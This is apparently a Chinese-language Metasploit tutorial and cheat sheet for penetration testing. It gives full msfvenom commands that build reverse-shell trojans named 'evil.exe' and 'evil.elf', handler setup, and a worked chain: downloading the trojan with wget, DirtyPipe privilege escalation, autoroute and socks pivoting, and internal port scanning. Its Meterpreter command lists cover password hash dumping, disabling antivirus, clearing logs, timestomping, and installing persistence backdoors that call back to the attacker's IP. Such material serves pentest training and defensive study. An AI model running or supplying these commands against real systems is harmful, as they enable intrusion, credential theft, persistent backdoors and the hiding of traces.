-
MetaSploit 漏洞利用框架
-
模块功能
模块 功能 Auxiliary 信息收集,漏洞扫描等辅助功能 Payloads 漏洞验证代码 Exploits 包含漏洞利用脚本 Encoders 绕过检测和过滤 Evasion 绕过杀软 Post Exploits 执行成功,向目标主机发送的一些功能指令 Nops 溢出攻击 -
目录说明
目录 内容 data 存放工具和用户接口代码,以及一些数据文件 plugins 包含一些需要通过load命令加载的插件 script meterpreter 模块的利用脚本 tools 包含一些有用的脚本和零散的工具 -
基础操作流程:
-
确认攻击目标的IP地址 (
ipconfig
/ifconfig
) -
启动模块(
msfconsole
)检测模块进行搜索(search
) -
漏洞扫描(
use 对应模块
) -
展示对应信息(
show options
) -
设置相应信息(
set
) -
(
run
)判断是否存在漏洞 -
搜索(
search
)并利用该漏洞 (use
) -
展示并设置信息(
show options
)并将LHOST设为本机IP或0.0.0.0(set
) -
利用漏洞(
exploit
)进行攻击 -
执行(
run
)漏洞检测工具后,前面有加号(+)代表可能存在漏洞,减号(-)则1代表不存在漏洞;
-
-
生成木马流程:
系统 命令 Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=4444 -f exe -o evil.exe
Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=5555 -f elf -o evil.elf
- 需管理员权限
sudo su root
chmod +x evil.elf
./evil.elf
监听 msfconsole
启动msfuse exploit/multi/handler
设置监听模块set payload windows/x64/meterpreter/reverse_tcp
设置监听的payload模块(与上面一致)set LHOST 192.168.7.229
设置msf监听地址(与上面一致)set LPORT 4444
设置监听端口(与上面一致)run
开启监听
-
stage
与stageless
的区别stage stageless + nc 监听(攻击机启动 nc ) 语句 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=4444 -f exe -o evil.exe
Windows: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o reverse_shell.exe
Linux:msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o reverse_shell.elf
体积 较小 较大 攻击方式 需要依赖 msfconsole 来进行操作 stageless 能够独立执行 -
Meterpreter
系统命令命令 描述 background
/bg
将当前会话置于后台,从Meterpreter 回退到msf框架 bgkill [ID]
杀死后台 meterpreter 脚本 bglist
列出正在运行的后台脚本 execute -f [程序路径] [参数]
-i:跟进程进行交互 -f :指定可执行程序在目标系统上执行程序 getuid
查看当前权限 getsystem
尝试将权限提升到本地的系统权限 hashdump
尝试提取目标系统密码hash sysinfo
/run scraper
查看当前目标系统信息 / 详细信息 shell
获取目标主机shell run killav
尝试关闭Windows 杀毒 (拿到shell后的第一件事) exit
/quit
从 shell 回退到 Meterpreter sessions -l
查看获得的 meterpreter_shell 会话列表 sessions ID
进入到相应的 meterpreter_shell sessions -k
杀死所有 sessions getpid
获取当前进程的pid migrate 指定pid
将进程注入到指定进程中 kill 指定pid
结束指定进程 clearev
清除日志(最后打扫战场) pwd
/getwd
当前绝对路径(Windows / linux) upload 本地路径 指定路径
将文件从本地路径上传到指定路径 download 指定路径 本地路径
将文件从指定路径下载到本地路径 edit
编辑文件 search
,例:search -f *.jsp -d e:\
搜索文件 ,搜索E盘中所有以.jsp为后缀的文件 timestomp -v 指定文件
查看指定文件的时间戳 timestomp 目标文件 指定文件
将指定文件的时间戳赋给目标文件 portfwd add -l 本地端口 -p 目标端口 -r 目标IP
将目标IP目标端口的数据转发到本地端口 run autoroute -s 192.168.111.0/24
添加路由到192.168.111.0/24,尝试访问 run autoroute -p
/route
查看添加的路由 getproxy
显示当前代理配置 load stdapi
当显示 unknown command
时,可以使用该命令尝试加载sessions -u id
有时候,当成功后收到 cmdshell 的话,可以执行得到sessions
-
后渗透模块(
meterpreter
下执行)
绕过UAC(meterpreter下执行) | | ||||||
POST 后渗透模块 |
| ||||||
导入并执行 Powershell 脚本 | | ||||||
导入mimikatz 脚本 | | ||||||
嗅探模块 sniffer | | ||||||
令牌假冒模块(以假冒的用户的权限执行操作 | | ||||||
内网扫描模块 | | ||||||
爆破模块(一般,不太好用 | | ||||||
横移漏洞模块 |
|
-
MSF 渗透流程
# 生成Linux 木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=9999 -f elf -o shell.elf # 启动msf
msfconsole # 启动监听
use exploit/multi/handler # 查看需要设置的内容
show options # 设置参数
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.7.229
set LPORT 9999# 运行
run # kali 另开窗口,启动http服务(注意服务启动位置)
python -m http.server # 需提权的主机,下载木马
wget http://192.168.7.229:8000/shell.elf # 赋予执行权限,运行
chmod +x shell.elf
./shell.elf # 寻找可提权的nday后执行
run post/multi/recon/local_exploit_suggester # 将当前命令环境置于后台
bg# 使用前面的提权exp执行
use exploit/linux/local/cve_2022_0847_dirtypipe
show options# 查看并选择sessions
# 查看:sessions
# 选择:set session ID# 提权成功,可以以高权限用户身份执行命令
shell# 执行后可能没回显,但能以root身份执行系统命令
例:whoami# 添加路由
run post/multi/manage/autoroute#查看路由信息
run autoroute -p# 设置代理 (默认为 socks5代理 127.0.0.1 的 1080 端口)
run auxiliary/server/socks_proxy# 回车 ,exit,进行主机存活扫描
use auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,80,443,8080,3389,445
set RHOSTS 10.0.20.0/24
run# 设置代理成功,可以通过输入对应IP和端口实现代理了
# 例:kali编辑proxychains
vim /etc/proxychains.conf
# 写入 (默认1080)
socks5 设置的代理IP 1080 # 亦或是 将代理服务器的IP设为vps公网ip,在本机进行访问
show options
set SRVHOST 公网IP
set SRVPORT 公网端口# 其他
# 后门(metsvc)(meterpreter下运行)
run metsvc # 安装后门(服务名:metsvc,默认端口:31337,路径:C:\Windows\TEMP\目录下新建随机名称的文件夹)# 可选参数:-A :启动后门后,exploit/multi/handler模块自动连接后门 -r:删除后门# 例:run metsvc -A # 手动连接后门(msf下运行)
set payload windows/metsvc_bind_tcp
# 设置ip和端口后,run# 后门(persistence)(meterpreter下运行)
# -X 系统启动时运行 -i 每隔多少秒重连 -r 攻击者ip -p 攻击者监听端口
run persistence -X -i 10 -r 192.168.7.229 -p 4444 # 生成后门 # 手动连接后门(msf下运行)
set payload windows/meterpreter/reverse_tcp
# 设置ip和端口后,run
-
其他
# centos 一键安装MSF 命令
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall# 设置软链接
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole# 卸载Postgresql数据库
yum remove postgresql# 查看是否卸载完成
rpm -qa | grep postgresql # 导入yum源
yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装Postgresql数据库客户端与服务端,这里的12是版本,如果是9.5,那么就是95
yum install -y postgresql12 postgresql12-server # 查询是否安装成功
rpm -qa | grep postgresql# 初始化数据库
/usr/pgsql-12/bin/postgresql-12-setup initdb# 启动服务
systemctl start postgresql-12
# 设置开机自启
systemctl enable postgresql-12MSF 使用参考链接:https://blog.csdn.net/weixin_45588247/article/details/119614618